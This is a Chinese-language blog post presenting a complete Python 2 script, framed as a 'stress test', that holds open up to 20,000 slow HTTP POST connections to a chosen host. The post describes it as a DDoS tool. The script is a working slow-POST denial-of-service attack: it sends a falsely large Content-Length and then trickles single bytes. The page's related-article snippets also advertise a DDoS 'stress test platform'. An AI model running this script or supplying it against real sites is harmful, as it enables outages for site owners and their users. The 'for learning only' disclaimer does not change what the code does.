美文网首页python
Python ddos脚本/压力测试

Python ddos脚本/压力测试

作者: 冬月甲戌 | 来源:发表于2017-12-07 21:40 被阅读210次
import sys
import struct
import socket
import time
import threading
#压力测试,ddos工具
#----------------------------------
MAX_CONN = 20000
PORT = 80
HOST = "www.aaa.com" //网址/ip
PAGE = "/index.php"       //页面地址
#----------------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks = []
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf)
            print "Send buf ok! conn=%d\n"%i
            socks.append(s)
        except Exception,e:
            print "Could not connect to server or send error:%s"%e
            time.sleep(10)
            #sys.exit(0)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f")
                #print "sendok!"
            except Exception,e:
                print "Send Exception:%s\n"%e
                socks.remove(s)
                s.close()
 
        time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

内容转载自网络,请勿危害网络,仅供学习使用。

相关文章

  • Python ddos脚本/压力测试

    内容转载自网络,请勿危害网络,仅供学习使用。

  • zookeeper-测试

    python脚本测试 压测 1.运行一个zk的压力测试容器 2.编辑配置文件 3.运行测试工具 robot脚本

  • ddos压力测试平台推荐

    《DDOS压力测试平台》 单发保证30G的流量 全网流量最稳 支持多并发,峰值流量400Gbps 支持CC,SYN...

  • 压力测试

    需求描述 编程压力测试脚本对网上商城和移动商城进行压力测试, 得出压力测试报告. 压力测试需要覆盖的范围包括(主页...

  • Python连接Oracle 12c数据库

    Python运行速度比较慢,还是不太适合编写脚本进行大量的数据库连接压力测试。比较适合多种类型的测试验证。我也就是...

  • 《零基础入门学习Python》第001讲

    测试题: 0. Python 是什么类型的语言? Python是脚本语言 脚本语言(Scripting langu...

  • ddos压力测试工具推荐

    ddos压力测试为单机洪水生成器,原理是瞬间生成几千上万个合理http请求,从而达到目标服务器service u的...

  • 如何解决InsecureRequestWarning警告

    【问题】 使用python2.7.10运营python接口测试脚本时,出现告警InsecureRequestWar...

  • tcp压力测试脚本

    该脚本用于从指定的文件中读取数据包,然后在特定的时间内,向tcp服务器发送指定数量的数据包,以测试服务的性能

  • unittest断言测试方法

    前言 Python中unittest单元测试框架常用来编写自动化测试脚本。 Python中单元测试的断言方法主要如...

网友评论

    本文标题:Python ddos脚本/压力测试

    本文链接:https://www.haomeiwen.com/subject/nvajixtx.html